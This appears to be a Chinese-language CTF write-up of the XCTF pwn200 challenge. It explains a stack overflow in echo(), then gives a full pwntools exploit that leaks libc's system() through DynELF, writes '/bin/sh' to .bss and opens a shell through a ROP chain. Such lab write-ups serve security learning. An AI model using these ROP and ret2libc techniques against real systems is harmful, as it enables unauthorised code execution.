0x00:
XCTF開賽了,只看了pwn,這次還比較有意思,有x86 x64 arm mips 多種cpu構架的pwn。自己只搞出了pwn200
0x01:
基本信息:


x64 動態鏈接 有調試符號(怪不得是最簡單的...)
開啟的保護如圖可以看到。
運行下,隨便給點輸入:

經過分析,發現問題出在echo()函數
而且這個bof的payload大概的格式:
payload = "A"*24+"BBBBBB"+"\x00\x00"

0x02:
思路就是 利用構造的ROP鏈先去 leak 遠程服務器上libc里的system地址,然后利用ROP鏈再次把 "/bin/sh" 和system()地址 寫入程序的.bss段,最后再次利用ROP鏈去執行 system("/bin/sh")
但是要注意:x64的函數調用 參數傳遞順序是 RDI RSI RDX RCX R8 R9 之后的參數才用棧傳遞。
在IDA中看下

我們可以利用 pwntools的 去得到程序中write()和read()這些系統調用的got,用來構造ROP。這時候要使用的是 通用型的ropgads,因為源程序中並沒有一些輔助性的東西。

在初始化libc的時候,這些指令可以為我們所用來構造ROP,設置好參數。
因為也沒有給libc,所以要leak libc中的函數地址,pwntools的dynELF很好用。
0x03:
exp 如下
#!/usr/bin/env python
# coding=utf-8
# author:muhe
# http://www.cnblogs.com/0xmuhe/
from pwn import *
elf = ELF('./pwn200')
p=remote('127.0.0.1',6666)
#p = remote('180.76.178.48',6666)
#p = process('./pwn200')
addr1=0x40089A
addr2=0x400880
main_addr = 0x4007CD
ppppr=0x40089c
bss_addr=0x601078
got_write = elf.got['write']
got_read = elf.got['read']
flag=True
def leak(address):
global flag
junk = "A"*24
p1=""
p1+=junk
p1+=p64(ppppr)
p1+=p64(addr1)
p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1)
p1+=p64(addr2)
p1+="\x00"*56
p1+=p64(main_addr)
p.recvuntil('F\n')
p.send(p1)
#raw_input()
if flag:
data = p.recv(8)
flag=False
else:
p.recv(0x1b)
data = p.recv(8)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
d = DynELF(leak, elf=ELF('./pwn200'))
system_addr = d.lookup('system','libc')
print "system_addr=" + hex(system_addr)
#----------------write /bin/sh to .bss-----------------#
junk = "A"*24
payload=""
payload+=junk
payload+=p64(ppppr)
payload+=p64(addr1)
payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0)
# addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI RSI RDX RCX R8 R9
payload+=p64(addr2)
payload+="\x00"*56
payload+=p64(main_addr)
p.recvuntil('F\n')
print "payload 1 ...."
#raw_input()
p.send(payload)
sleep(1)
p.send("AAAABBBB")
p.send("/bin/sh\0")
p.send(p64(system_addr))
#raw_input()
print "sent .."
#raw_input()
sleep(1)
#-----------------get shell --------------------------#
junk = "A"*24
payload2=""
payload2+=junk
payload2+=p64(ppppr)
payload2+=p64(addr1)
payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8)
# addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI RSI RDX RCX R8 R9
payload2+=p64(addr2)
payload2+="\x00"*56
payload2+=p64(main_addr)
p.recvuntil('F\n')
#raw_input()
print "payload 2 ...."
p.send(payload2)
print "ok get shell"
p.interactive()
打了一波本地

后來遇到個問題,exp打本地,或者是socket搭建起來的都可以打,但是遠程服務器打不了。 - -# 尷尬
0x04:
算是學習了一波吧,有收獲就是好的。
